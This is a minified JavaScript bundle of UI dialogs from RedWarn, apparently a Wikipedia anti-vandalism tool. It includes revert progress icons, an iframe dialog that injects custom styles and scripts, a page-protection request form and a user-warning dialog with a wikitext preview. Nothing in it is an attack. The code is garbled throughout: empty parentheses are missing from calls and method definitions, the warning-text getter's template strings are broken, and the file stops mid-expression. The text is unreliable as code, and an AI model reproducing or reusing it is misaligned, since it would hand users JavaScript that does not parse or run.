this.self=r.h("div",{class:"rw-mdc-diffIcons"},this.latestIcons?this.renderRevertIcons:this.renderRestoreIcon,this.renderProgressBar,this.renderRevertDoneOptions),this.self.querySelectorAll("[data-rw-revert-option]").forEach((e=>{e.addEventListener("click",function(e,t){const i=e.context;switch(t.actionType){case"custom":return=>{p.default.trace("custom RevertOption selected.",t),t.action(i)};case"revert":return=>{p.default.trace("revert RevertOption selected.",t),e.selectedReason=t,o.Revert.revert(Object.assign(i,{reason:t}))};case"promptedRevert":return=>{p.default.trace("promptedRevert RevertOption selected.",t),o.Revert.promptRestore("new"===i.side?i.newRevision:i.oldRevision,{diffIcons:i.diffIcons,defaultText:t.defaultSummary})}}}(this,s.default.all[e.getAttribute("data-rw-revert-option")]))})),this.self}onStartRevert(e){Object.assign(this.context,e),this.self.classList.toggle("rw-mdc-diffIcons--reverting",!0)}onRevertStageChange(e){var t,i;if((null===(t=this.progressBar)||void 0===t?void 0:t.progress)&&(this.progressBar.progress.progress=h[e]),null===(i=this.progressBar)||void 0===i?void 0:i.progressLabel){const t={[o.RevertStage.Preparing]:d.default.t("ui:diff.progress.prepare"),[o.RevertStage.Details]:d.default.t("ui:diff.progress.details"),[o.RevertStage.Revert]:d.default.t("ui:diff.progress.revert",{context:g.Configuration.Revert.revertMethod.value===f.RevertMethod.Rollback?"rollback":void 0}),[o.RevertStage.Finished]:d.default.t("ui:diff.progress.prepare")};this.progressBar.progressLabel.innerText=t[e]}}onEndRevert{this.self.classList.toggle("rw-mdc-diffIcons--reverting",!1),this.self.classList.toggle("rw-mdc-diffIcons--finished",!0)}onRevertFailure{this.self.classList.toggle("rw-mdc-diffIcons--reverting",!1),this.self.classList.toggle("rw-mdc-diffIcons--finished",!1)}onStartRestore{this.self.classList.toggle("rw-mdc-diffIcons--reverting",!0)}onRestoreStageChange(e){var t,i;if((null===(t=this.progressBar)||void 0===t?void 0:t.progress)&&(this.progressBar.progress.progress=h[e]),null===(i=this.progressBar)||void 0===i?void 0:i.progressLabel){const t={[o.RestoreStage.Preparing]:d.default.t("ui:diff.progress.prepare"),[o.RestoreStage.Details]:d.default.t("ui:diff.progress.details"),[o.RestoreStage.Restore]:d.default.t("ui:diff.progress.restore"),[o.RestoreStage.Finished]:d.default.t("ui:diff.progress.prepare")};this.progressBar.progressLabel.innerText=t[e]}}onEndRestore{this.self.classList.toggle("rw-mdc-diffIcons--reverting",!1),this.self.classList.toggle("rw-mdc-diffIcons--finished",!0)}onRestoreFailure{this.self.classList.toggle("rw-mdc-diffIcons--reverting",!1),this.self.classList.toggle("rw-mdc-diffIcons--finished",!1)}}t.default=w},7120:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(9209),a=i(3259),o=i(1566),s=n.__importStar(i(604)),l=i(830),d=n.__importDefault(i(8001)),c=n.__importDefault(i(6359)),u=i(6968),p=n.__importDefault(i(4250));i(414);const g=n.__importDefault(i(4236)),f=i(9052);class h extends r.RWUIExtendedOptions{show{const e=a.getMaterialStorage;o.registerMaterialDialog(this);const t=o.upgradeMaterialDialog(this);return new Promise((i=>{t.listen("MDCDialog:closed",(=>n.__awaiter(this,void 0,void 0,(function*{e.dialogTracker.delete(this.id),i}))))}))}renderOptions{const e=[];return p.default.forEach((t=>{var i,n,r,a;!(null!==(r=null===(n=null===(i=f.Configuration.UI.pageIcons.value)||void 0===i?void 0:i[t.id])||void 0===n?void 0:n.enabled)&&void 0!==r?r:t.default)&&t.visible&&e.push(l.h(u.MaterialListItem,{icon:t.icon,color:null!==(a=t.color)&&void 0!==a?a:"black",onClick:t.action},`${d.default.t(`ui:pageIcons.${t.id}`)}`))})),e}render{return this.element=l.h(s.default,{id:this.id,surfaceProperties:{style:"min-width: 35vw;"},containerProperties:{class:"rw-mdc-extendedOptions"}},l.h(s.MaterialDialogTitle,{tabIndex:0},l.h("span",{style:g.default({fontWeight:"bold"})},d.default.t("ui:extendedOptions.title").toString)),l.h(s.MaterialDialogContent,null,l.h(u.MaterialList,null,this.renderOptions)),l.h(s.MaterialDialogActions,null,l.h(c.default,{dialogAction:"close"},d.default.t("ui:close"))))}}t.default=h},8818:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(5837),o=i(1566),s=i(3259),l=n.__importDefault(i(6359)),d=n.__importStar(i(604)),c=n.__importDefault(i(8001)),u=n.__importDefault(i(5609));i(6540);const p=i(8910),g=n.__importDefault(i(5958));class f extends a.RWUIIFrameDialog{show{const e=s.getMaterialStorage;o.registerMaterialDialog(this);const t=o.upgradeMaterialDialog(this);return new Promise((i=>{t.listen("MDCDialog:closed",(=>n.__awaiter(this,void 0,void 0,(function*{e.dialogTracker.delete(this.id),i(null)}))))}))}renderActions{var e;const t=[];for(const i of this.props.actions)t.push(r.h(l.default,{dialogAction:null==i.text?i.data:{data:i.data,text:i.text}},null!==(e=i.text)&&void 0!==e?e:i.data));return t}render{var e,t,i,a;let o;this.element=r.h(d.default,{surfaceProperties:{class:"mdc-dialog__surface rw-mdc-iframeDialog",style:`width:${null!==(e=this.props.width)&&void 0!==e?e:"70vw"};height:${null!==(t=this.props.height)&&void 0!==t?t:"90vh"};`,"aria-modal":!0,"aria-labelledby":null!==(i=this.props.title)&&void 0!==i?i:"RedWarn dialog"},id:this.id},this.props.title&&r.h(d.MaterialDialogTitle,null,this.props.title),r.h(d.MaterialDialogContent,null,o=r.h("iframe",{src:this.props.fragment?p.url(this.props.src,void 0,{fragment:this.props.fragment}):this.props.src})),r.h(d.MaterialDialogActions,null,this.props.actions&&this.props.actions.length>0?this.renderActions:[r.h(l.default,{onClick:=>{navigator.clipboard.writeText(o.contentDocument.location.href).then((=>{g.default.Toast.quickShow({content:c.default.t("ui:copyURL.success")})})).catch((=>{g.default.Toast.quickShow({content:c.default.t("ui:copyURL.failure")})}))},style:{float:"left",marginRight:"auto"}},`${c.default.t("ui:copyURL.button")}`),r.h(l.default,{dialogAction:"close"},`${c.default.t("ui:close")}`)]));const s=null!==(a=this.props.dependencies)&&void 0!==a?a:[];this.props.customStyle&&(Array.isArray(this.props.customStyle)?s.push({type:"style",id:"rw-iframe-dialog-customStyle",src:`data:text/css;base64,${btoa(this.props.customStyle.reduce(((e,t)=>`${e}\n\n${t}`)))}`}):s.push({type:"style",id:"rw-iframe-dialog-customStyle",src:`data:text/css;base64,${btoa(this.props.customStyle)}`})),this.props.customScripts&&(Array.isArray(this.props.customScripts)?s.push({type:"script",id:"rw-iframe-dialog-customScript",src:`data:text/javascript;base64,${btoa(this.props.customScripts.reduce(((e,t)=>`${e}\n\n${t}`)))}`}):s.push({type:"script",id:"rw-iframe-dialog-customScript",src:`data:text/javascript;base64,${btoa(this.props.customScripts)}`}));const f==>{var e;if(!document.body.contains(this.element))return;const t=o.contentDocument||(null===(e=o.contentWindow)||void 0===e?void 0:e.document);if(t&&"about:blank"!==t.location.toString){const e==>n.__awaiter(this,void 0,void 0,(function*{var t;const i=o.contentDocument||(null===(t=o.contentWindow)||void 0===t?void 0:t.document);if(i.head)for(const e of s){const t=yield u.default.buildDependency(e);let n;null==(n=i.getElementById(t.id))?i.head.append(t):n.parentElement.replaceChild(t,n)}else setTimeout((=>{e}),2)})),t==>{var e;const i=o.contentDocument||(null===(e=o.contentWindow)||void 0===e?void 0:e.document);i.body?this.props.disableRedWarn&&i.body.classList.add("rw-disable"):setTimeout((=>{t}),2)};return e,void t}setTimeout((=>{f}),2)};return setTimeout((=>{f}),25),this.element}}t.default=f},9507:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(8001)),a=i(830),o=i(3639),s=i(1566),l=i(3259),d=n.__importDefault(i(6359)),c=n.__importStar(i(604)),u=n.__importStar(i(8963));class p extends o.RWUIInputDialog{show{const e=l.getMaterialStorage;s.registerMaterialDialog(this),this.MDCComponents=u.MaterialTextInputUpgrade(this.textFieldElement);const t=s.upgradeMaterialDialog(this);return new Promise((i=>{t.listen("MDCDialog:closed",(t=>n.__awaiter(this,void 0,void 0,(function*{"confirm"===t.detail.action?this._result=this.MDCComponents.textField.value:"cancel"===t.detail.action&&(this._result=null),e.dialogTracker.delete(this.id),i(this._result)}))))}))}renderActions{var e,t,i,n;return a.h(c.MaterialDialogActions,null,a.h(d.default,{dialogAction:"cancel"},null!==(t=null===(e=this.props.actions)||void 0===e?void 0:e.cancel)&&void 0!==t?t:r.default.t("ui:okCancel.cancel")),a.h(d.default,{dialogAction:"confirm"},null!==(n=null===(i=this.props.actions)||void 0===i?void 0:i.ok)&&void 0!==n?n:r.default.t("ui:okCancel.ok")))}render{var e,t;return this.textFieldElement=a.h(u.default,Object.assign({id:this.id},this.props)),this.element=a.h(c.default,{surfaceProperties:{style:`width: ${null!==(e=this.props.width)&&void 0!==e?e:"30vw"};`,"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"RedWarn dialog"},id:this.id},this.props.title&&a.h(c.MaterialDialogTitle,null,this.props.title),a.h(c.MaterialDialogContent,{style:{width:"100%"}},this.textFieldElement),this.renderActions),this.element}}t.default=p},5245:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(9886),a=i(830),o=n.__importDefault(i(4250)),s=n.__importDefault(i(323)),l=n.__importDefault(i(8001));i(5952);const d=i(9052);class c extends r.RWUIPageIcons{renderIcons{const e=[];return o.default.forEach((t=>{var i,n,r,o;((null!==(r=null===(n=null===(i=d.Configuration.UI.pageIcons.value)||void 0===i?void 0:i[t.id])||void 0===n?void 0:n.enabled)&&void 0!==r?r:t.default)&&t.visible||t.required)&&e.push(a.h(s.default,{class:"rw-mdc-pageIcons-icon",icon:t.icon,iconColor:null!==(o=t.color)&&void 0!==o?o:"black",tooltip:`${l.default.t(`ui:pageIcons.${t.id}`)}`,onClick:t.action}))})),e}render{return this.self=a.h("div",null,this.renderIcons)}}t.default=c,c.elementName="rwPageIcons"},8875:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(8461),a=i(7688),o=i(3259),s=i(1566),l=n.__importDefault(i(6724)),d=i(4802),c=n.__importStar(i(604)),u=i(830),p=n.__importDefault(i(8001)),g=n.__importDefault(i(6359)),f=n.__importDefault(i(4236)),h=n.__importDefault(i(4549));i(4509);const m=n.__importDefault(i(7888)),v=i(8910),w=n.__importDefault(i(6807)),_=n.__importStar(i(8963)),y=n.__importDefault(i(4140)),b=n.__importDefault(i(3284)),D=n.__importDefault(i(323)),R=n.__importDefault(i(5958));function S(e){if(!0===e.tests)return u.h("div",null,p.default.t("ui:protectionRequest.validation.pass").toString);const t=e.tests.map((e=>e.id));return u.h("div",null,p.default.t("ui:protectionRequest.validation.validationDialogIntro",{count:t.length}).toString,u.h("ul",null,t.reduce(((e,t)=>(e.push(u.h("li",null,p.default.t("ui:protectionRequest.validation.failDetailed",{context:t}).toString)),e)),[])))}class I extends r.RWUIProtectionRequestDialog{constructor{super(...arguments),this.page=l.default.currentPage,this.elementSet={}}set protectionReasons(e){if(this._protectionReasons=e,this.elementSet.reason){const e=this.renderReasonDropdown;this.elementSet.reason.parentElement.replaceChild(e,this.elementSet.reason),this.elementSet.reason=e}this.uiValidate}get protectionInformation{return this._protectionInformation}set protectionInformation(e){var t;if(null==e&&this.elementSet.duration?this.elementSet.duration.disable:this.elementSet.duration&&this.elementSet.duration.enable,null==e&&null!=this.elementSet.levels)this.elementSet.levels.disable;else if(null!=this.elementSet.levels)if(this.elementSet.levels.enable,(null!==(t=null==e?void 0:e.length)&&void 0!==t?t:0)>0){for(const t of e)if("edit"===t.type&&null==t.source||"_flaggedrevs"===t.type){for(const e of this.elementSet.levels.MDCRadios)e.radioValue.id===t.level&&(e.MDCRadio.checked=!0,this._level=e.radioValue);for(const e of this.elementSet.duration.MDCRadios)"infinity"===t.expiry==e.radioValue?(e.MDCRadio.checked=!0,e.MDCRadio.disabled=!0):e.MDCRadio.disabled=!1}}else{for(const e of this.elementSet.levels.MDCRadios)null===e.radioValue.id&&(e.MDCRadio.checked=!0);this.elementSet.duration.reset,this.elementSet.duration.disable}this._protectionInformation=e}get level{return this._level}get reason{var e;return null===(e=this.elementSet.reason)||void 0===e?void 0:e.valueSet[this.elementSet.reason.MDCSelect.value]}get duration{return this._duration}get additionalInformation{var e,t,i;return null===(i=null===(t=null===(e=this.elementSet.additionalInformation)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===i?void 0:i.value}get helperText{return this.elementSet.errorText.innerText}set helperText(e){this.elementSet.errorText.innerText=e}show{const e=o.getMaterialStorage;s.registerMaterialDialog(this);const t=s.upgradeMaterialDialog(this);return new Promise((i=>{t.listen("MDCDialog:closed",(t=>n.__awaiter(this,void 0,void 0,(function*{"confirm"===t.detail.action?this._result={page:this.page,level:this.level,reason:this.reason,additionalInformation:this.additionalInformation,duration:this.duration}:this._result=null,this._result&&this.props.autoRequest&&d.ProtectionManager.requestProtection(this._result).then((=>{R.default.Toast.quickShow({content:p.default.t("ui:protectionRequest.done")})})),e.dialogTracker.delete(this.id),i(this._result)}))))}))}renderLevels{var e;const t=[];for(const i of[Object.assign(m.default.c.protection.unprotect,{id:null}),...m.default.c.protection.levels])!1!==i.requestable&&t.push({children:u.h("div",{style:f.default({display:"inline-block"}),class:"rw-mdc-prd-protectionLevel"},i.iconURL?u.h("img",{alt:i.name,src:i.iconURL}):u.h("span",{class:"material-icons",style:f.default({color:null!==(e=i.color)&&void 0!==e?e:"black"})},null===i.id?"lock_open":"lock"),u.h("span",{class:"rw-mdc-protectionLevels--name"},v.capitalize(i.name))),value:i});return u.h(h.default,{radios:t,direction:"vertical",disabled:!0,onChange:e=>{if(this._level=e,null!==e.id){this.elementSet.duration.enable;for(const t of this.protectionInformation)if(("edit"===t.type&&null==t.source||"_flaggedrevs"===t.type)&&e.id===t.level)for(const e of this.elementSet.duration.MDCRadios)"infinity"===t.expiry==e.radioValue&&(e.MDCRadio.checked=!0,e.MDCRadio.disabled=!0)}else this.elementSet.duration.reset,this.elementSet.duration.disable;this.uiValidate}})}renderReasonDropdown{const e=[];if(e.push({label:"Other reason",value:"",type:"action"}),this._protectionReasons)for(const[t,i]of Object.entries(this._protectionReasons)){e.push({type:"header",label:t});for(const t of i)e.push({label:t,value:t,type:"action"})}const t=u.h(y.default,{label:p.default.t("ui:protectionRequest.reasons"),items:e,required:!0,onChange:(e,t)=>{var i,n;const r=null===(n=null===(i=this.elementSet.additionalInformation)||void 0===i?void 0:i.components)||void 0===n?void 0:n.textField;r&&(r.required=0===t.length),this.uiValidate}});return t.MDCSelect.disabled=null==this._protectionReasons,t}renderAdditionalInfo{const e=u.h(_.default,{label:p.default.t("ui:protectionRequest.additionalInformation"),area:!0,outlined:!0}),t=_.MaterialTextInputUpgrade(e);return this.elementSet.additionalInformation={element:e,components:t},t.textField.listen("keydown",(=>{this.uiValidate})),t.textField.listen("focusout",(=>{this.uiValidate})),e}renderDuration{const e=[{value:!1,children:u.h(b.default,{icon:"timer"}),tooltip:p.default.t("ui:protectionRequest.duration.temporary")},{value:!0,children:u.h(b.default,{icon:"all_inclusive"}),tooltip:p.default.t("ui:protectionRequest.duration.indefinite")}];return u.h(h.default,{class:"rw-mdc-prd-duration",radios:e,onChange:e=>{this._duration=null==e?null:e?a.ProtectionDuration.Indefinite:a.ProtectionDuration.Temporary,this.uiValidate}})}render{var e,t;return this.element=u.h(c.default,{surfaceProperties:{class:"rw-mdc-protectionRequestDialog mdc-dialog__surface","aria-modal":!0,"aria-labelledby":null!==(e=this.props.title)&&void 0!==e?e:p.default.t("ui:protectionRequest.title").toString},id:this.id},u.h(c.MaterialDialogTitle,{tabIndex:0},u.h("span",{style:{float:"left"}},null!==(t=this.props.title)&&void 0!==t?t:p.default.t("ui:protectionRequest.title").toString)),u.h(c.MaterialDialogContent,{style:f.default({overflowY:"auto",overflowX:"hidden"})},this.elementSet.titleSelect=u.h(w.default,{label:p.default.t("ui:protectionRequest.page.label"),value:l.default.currentPage.title.getPrefixedText,parent:this}),u.h("div",{class:"rw-mdc-prd-options"},u.h("div",{class:"rw-mdc-prd-reason"},this.elementSet.reason=this.renderReasonDropdown),u.h("div",{class:"rw-mdc-prd-levels"},this.elementSet.levels=this.renderLevels),u.h("div",{class:"rw-mdc-prd-info"},this.renderAdditionalInfo,u.h("div",null,u.h("span",{class:"rw-mdc-prd-duration--label"},"Duration"),this.elementSet.duration=this.renderDuration,u.h("p",{class:"rw-mdc-prd-notice"},`${p.default.t("ui:protectionRequest.notice")}`))))),u.h(c.MaterialDialogActions,null,this.elementSet.errorButton=u.h(D.default,{class:"rw-mdc-prd-validation",icon:"error",tooltip:p.default.t("ui:protectionRequest.validation.validationFailedIconTooltip").toString,onClick:=>{new R.default.Dialog({title:p.default.t("ui:protectionRequest.validation.validationDialogTitle"),content:u.h(S,{tests:this.validate}),actions:[{data:p.default.t("ui:okCancel.ok")}]}).show}}),this.elementSet.errorText=u.h("div",{class:"rw-mdc-dialog-helperText"}),u.h(g.default,{dialogAction:"cancel"},p.default.t("ui:okCancel.cancel")),this.elementSet.dialogConfirmButton=u.h(g.default,{dialogAction:"confirm",action:!0,disabled:!0},p.default.t("ui:protectionRequest.ok")))),this.element}uiValidate{const e=this.validate;this.elementSet.dialogConfirmButton.toggleAttribute("disabled",!0!==e),this.element.toggleAttribute("data-invalid",!0!==e),this.helperText=!0!==e?p.default.t("ui:protectionRequest.validation.fail",{context:e[0].id}):p.default.t("ui:protectionRequest.validation.pass")}validate{var e,t,i;const n=[{id:"noLevel",condition:null==this.level},{id:"noDuration",condition:null!==(null===(e=this.level)||void 0===e?void 0:e.id)&&null==this.duration},{id:"levelEqual",condition:null===(null===(t=this.level)||void 0===t?void 0:t.id)&&0===this.protectionInformation.filter((e=>"edit"===e.type&&null==e.source||"_flaggedrevs"===e.type)).length||(null===(i=this.protectionInformation)||void 0===i?void 0:i.some((e=>("edit"===e.type&&null==e.source||"_flaggedrevs"===e.type)&&"infinity"===e.expiry&&this.duration===a.ProtectionDuration.Indefinite)))},{id:"noReason",condition:null==this.reason},{id:"noAdditionalReason",condition:null!=this.reason&&0===this.reason.length&&0===this.additionalInformation.length}].filter((e=>e.condition));return!(n.length>0)||n}}t.default=I},80:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(5155),o=i(1566),s=i(3259),l=n.__importDefault(i(6359)),d=n.__importStar(i(604));class c extends a.RWUISelectionDialog{show{const e=s.getMaterialStorage;o.registerMaterialDialog(this);const t=o.upgradeMaterialDialog(this,new Map("autoStackButtons",!1));return new Promise((i=>{t.listen("MDCDialog:closed",(t=>n.__awaiter(this,void 0,void 0,(function*{var n;const r=this.props.items.find((e=>{var i;return e.data===(null===(i=t.detail)||void 0===i?void 0:i.action)})).action;this._result=null!=r&&null!==(n=yield r(t))&&void 0!==n?n:t.detail.action,e.dialogTracker.delete(this.id),i(this._result)}))))}))}render{var e,t;const i=this.props.items.flatMap((e=>[r.h(l.default,{dialogAction:e.data,icon:e.icon,iconColor:e.iconColor,style:{width:"100%",textAlign:"left",display:"inline-block"},contentStyle:Object.assign(Object.assign({},e.content.length>40&&{fontSize:"12px"}),{marginLeft:"10px"})},e.content),r.h("hr",{style:{margin:"0"}})]));return this.element=r.h(d.default,{surfaceProperties:{style:{width:null!==(e=this.props.width)&&void 0!==e?e:"30vw",height:"60vh"},"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"RedWarn dialog"},id:this.id},r.h(d.MaterialDialogTitle,null,r.h("span",{style:{float:"left"}},this.props.title),r.h(l.default,{dialogAction:"close",icon:"close",style:{right:"0",position:"absolute"}})),r.h(d.MaterialDialogContent,{style:{height:"400px",overflowY:"auto",overflowX:"hidden"}},r.h("hr",{style:{margin:"0"}}),i)),this.element}}t.default=c},1483:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(1324),a=i(830),o=i(3259),s=i(6016);class l extends r.RWUIToast{show{const e=o.getMaterialStorage;return e.toastQueue.push(this),1===e.toastQueue.length&&e.toastQueue.shift._show,new Promise(((e,t)=>{this.showPromise={resolve:e,reject:t}}))}_show{var e;document.body.appendChild(this.render);const t=new s.MDCSnackbar(this.element);t.initialize,t.timeoutMs=null!==(e=this.props.timeout)&&void 0!==e?e:5e3,t.open,t.listen("MDCSnackbar:closed",(e=>n.__awaiter(this,void 0,void 0,(function*{"action"===e.detail.action&&this.props.action.callback;const t=o.getMaterialStorage;t.toastQueue.length>=1&&t.toastQueue.shift._show,this.showPromise.resolve}))))}render{return this.element=a.h("div",{class:`mdc-snackbar${[""," mdc-snackbar--leading"," mdc-snackbar--stacked"][this.props.style]}`,id:this.id},a.h("div",{class:"mdc-snackbar__surface",role:"status","aria-relevant":"additions"},a.h("div",{class:"mdc-snackbar__label","aria-atomic":"false"},this.props.content),this.props.action&&a.h("div",{class:"mdc-snackbar__actions","aria-atomic":"true"},a.h("button",{type:"button",class:"mdc-button mdc-snackbar__action"},a.h("div",{class:"mdc-button__ripple"}),a.h("span",{class:"mdc-button__label"},this.props.action.text)))))}}t.default=l},974:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(8001)),o=i(1521),s=i(1566),l=i(3259),d=n.__importDefault(i(6359)),c=n.__importStar(i(604)),u=n.__importDefault(i(9770)),p=n.__importDefault(i(6821)),g=i(4802),f=i(8910),h=i(7912),m=n.__importDefault(i(323)),v=n.__importDefault(i(5958));i(9561);const w=n.__importDefault(i(7888)),_=i(6695),y=n.__importDefault(i(4236));function b(e){if(!0===e.tests)return r.h("div",null,a.default.t("ui:warn.validation.pass").toString);const t=e.tests.map((e=>e.id));return r.h("div",null,a.default.t("ui:warn.validation.validationDialogIntro",{count:t.length}).toString,r.h("ul",null,t.reduce(((e,t)=>(e.push(r.h("li",null,a.default.t("ui:warn.validation.failDetailed",{context:t}).toString)),e)),[])))}class D extends o.RWUIWarnDialog{get helperText{var e,t;return null!==(t=null===(e=this._helperText)||void 0===e?void 0:e.innerText)&&void 0!==t?t:null}set helperText(e){this._helperText&&(this._helperText.innerText=e)}get helperTextColor{var e,t,i;return null!==(i=null===(t=null===(e=this._helperText)||void 0===e?void 0:e.style)||void 0===t?void 0:t.color)&&void 0!==i?i:"black"}set helperTextColor(e){this._helperText&&(this._helperText.style.color=e)}get warningWikitext{var e,t,i,n,r,a,o,s,l;return!(null===(i=null===(t=null===(e=this.mwdReason)||void 0===e?void 0:e.MWDReason)||void 0===t?void 0:t.warning)||void 0===i?void 0:i.template)||!(null===(r=null===(n=this.mwdReason)||void 0===n?void 0:n.MWDReason)||void 0===r?void 0:r.warningLevel)&&(null===(s=null===(o=null===(a=this.mwdReason)||void 0===a?void 0:a.MWDReason)||void 0===o?void 0:o.warning)||void 0===s?void 0:s.type)===g.WarningType.Tiered?null:`${f.normalize(this.mwdReason.MWDReason.relatedPage)}`:""}${this.mwdReason.MWDReason.additionalText?`${this.mwdReason.MWDReason.relatedPage?" ${h.RW_SIGNATURE}${f.isIPAddress(this.mwdUser.MWDUser.user.username)&&null!=(null===(l=w.default.c.warnings)||void 0===l?void 0:l.ipAdvice)?w.default.c.warnings.ipAdvice:""}`}updatePreview{var e,t,i,r,o,s,l,d,c;return n.__awaiter(this,void 0,void 0,(function*{if(Date.now-this.lastUpdateCall<1e3)return;this.lastUpdateCall=Date.now;const n=this.warningWikitext;if(null==n)return;this.mwdXray.classList.toggle("rw-mdc-warnDialog-xray--loading",!0);const u=Date.now,p=yield g.MediaWikiAPI.post({action:"parse",format:"json",title:null!==(r=null===(i=null===(t=null===(e=this.user)||void 0===e?void 0:e.talkPage)||void 0===t?void 0:t.title)||void 0===i?void 0:i.toString)&&void 0!==r?r:"Example",text:n,contentmodel:"wikitext",prop:"text",pst:!0,assert:"user",disablelimitreport:!0});+this.mwdXray.getAttribute("data-last-update")>u||(this.mwdXray.classList.toggle("rw-mdc-warnDialog-xray--loading",!1),this.mwdXray.querySelector(".rw-mdc-warnDialog-xray--content").innerHTML=null!==(c=null!==(l=null===(s=null===(o=null==p?void 0:p.parse)||void 0===o?void 0:o.text)||void 0===s?void 0:s["*"])&&void 0!==l?l:null===(d=null==p?void 0:p.parse)||void 0===d?void 0:d.text)&&void 0!==c?c:`${a.default.t("misc:parser.wikiTxtParseError")}`,this.mwdXray.querySelectorAll("a").forEach((e=>{e.target="_blank"})),this.mwdXray.setAttribute("data-last-update",`${u}`),this.uiValidate)}))}validate{var e,t,i,n,r,a,o,s,l,d,c;const u=[{id:"self",condition:(null===(e=this.user)||void 0===e?void 0:e.username)!==g.ClientUser.i.username},{id:"user",condition:null!=this.user},{id:"template",condition:null!=(null===(i=null===(t=this.mwdReason)||void 0===t?void 0:t.MWDReason)||void 0===i?void 0:i.warning)},{id:"level",condition:null!=(null===(r=null===(n=this.mwdReason)||void 0===n?void 0:n.MWDReason)||void 0===r?void 0:r.warning)&&(null===(o=null===(a=this.mwdReason)||void 0===a?void 0:a.MWDReason)||void 0===o?void 0:o.warning.type)!=g.WarningType.Tiered||null!=(null===(l=null===(s=this.mwdReason)||void 0===s?void 0:s.MWDReason)||void 0===l?void 0:l.warningLevel)}];console.log(null===(c=null===(d=this.mwdReason)||void 0===d?void 0:d.MWDReason)||void 0===c?void 0:c.warning);const p=u.filter((e=>!e.condition));return 0==p.length||p}uiValidate{const e=this.validate;this.mwdErrors.style.display=!0===e?"none":"",this.dialogConfirmButton.toggleAttribute("disabled",!0!==e),!0!==e?(this.helperText=a.default.t("ui:warn.validation.fail",{context:e[0].id}),this.helperTextColor="var(--mdc-theme-error)",this.mwdErrors.toggleAttribute("data-valid",!1),this.mwdErrors.innerText="error"):(this.helperText="",this.mwdErrors.toggleAttribute("data-valid",!0),this.mwdErrors.innerText="check_circle")}show{const e=l.getMaterialStorage;s.registerMaterialDialog(this);const t=s.upgradeMaterialDialog(this,new Map("autoStackButtons",!1));return null==this.user&&mw.config.get("wgRelevantUserName")&&(this.mwdUser.MWDUser.updateUser(g.User.fromUsername(mw.config.get("wgRelevantUserName"))),this.uiValidate),new Promise((i=>{t.listen("MDCDialog:closed",(t=>n.__awaiter(this,void 0,void 0,(function*{console.log(t.detail.action),"confirm"===t.detail.action?this._result={warningText:this.warningWikitext,targetUser:this.user,additionalText:this.mwdReason.MWDReason.additionalText,relatedPage:this.mwdReason.MWDReason.relatedPage,warnLevel:this.mwdReason.MWDReason.warningLevel,warning:this.mwdReason.MWDReason.warning}:this._result=null,this._result&&this.props.autoWarn&&g.User.warn(this._result).then((=>{v.default.Toast.quickShow({content:a.default.t("ui:toasts.userWarned")})})).catch((=>{v.default.Toast.quickShow({content:a.default.t("ui:toasts.userWarnFailed"),action:{text:"Verify",callback:=>{this.user.talkPage.navigate}}})})),e.dialogTracker.delete(this.id),i(this._result)}))))}))}render{var e,t,i,n,o,s,l,g;return this.element=r.h(c.default,{surfaceProperties:{class:"rw-mdc-warnDialog mdc-dialog__surface",style:{width:null!==(e=this.props.width)&&void 0!==e?e:"50vw",height:"95vh"},"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:a.default.t("ui:warn.title").toString},id:this.id},r.h(c.MaterialDialogTitle,{tabIndex:0},r.h("span",{style:{float:"left"}},null!==(i=this.props.title)&&void 0!==i?i:a.default.t("ui:warn.title").toString)),r.h(c.MaterialDialogContent,{style:y.default({overflowY:"auto",overflowX:"hidden"})},null!==(n=this.mwdUser)&&void 0!==n?n:this.mwdUser=r.h(u.default,{warnDialog:this,originalUser:this.props.targetUser}),null!==(o=this.mwdReason)&&void 0!==o?o:this.mwdReason=r.h(p.default,{warnDialog:this,defaultReason:this.props.defaultWarnReason,defaultLevel:this.props.defaultWarnLevel,relatedPage:this.props.relatedPage}),null!==(s=this.mwdXray)&&void 0!==s?s:this.mwdXray=r.h("fieldset",{class:"rw-mdc-warnDialog-xray"},r.h("legend",null,"Preview"),r.h("div",{class:"rw-mdc-warnDialog-xray--content"}))),r.h(c.MaterialDialogActions,null,null!==(l=this.mwdErrors)&&void 0!==l?l:this.mwdErrors=r.h(m.default,{class:"rw-mdc-warnDialog-validation",icon:"error",tooltip:a.default.t("ui:warn.validation.validationFailedIconTooltip").toString,onClick:=>{new v.default.Dialog({title:a.default.t("ui:warn.validation.validationDialogTitle"),content:r.h(b,{tests:this.validate}),actions:[{data:a.default.t("ui:okCancel.ok")}]}).show}}),null!==(g=this._helperText)&&void 0!==g?g:this._helperText=r.h("div",{class:"rw-mdc-dialog-helperText rw-mdc-warnDialog-helperTextHider"}),r.h(d.default,{dialogAction:"cancel"},a.default.t("ui:okCancel.cancel")),this.dialogConfirmButton=r.h(d.default,{dialogAction:"confirm",action:!0,disabled:!0},a.default.t("ui:warn.ok")))),this.uiValidate,this.element}}t.default=D},7242:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(117),o=i(1566),s=i(3259),l=n.__importDefault(i(6359)),d=n.__importStar(i(604));i(9561);const c=i(4802),u=n.__importStar(i(8963)),p=i(8910),g=n.__importDefault(i(8001)),f=n.__importDefault(i(4972));function h(e){var t;const i=r.h(u.default,{class:"rw-mdc-warnSearchDialog--searchInput",label:g.default.t("ui:warn.templateSearchDialog.searchBoxLabel"),defaultText:null!==(t=e.defaultText)&&void 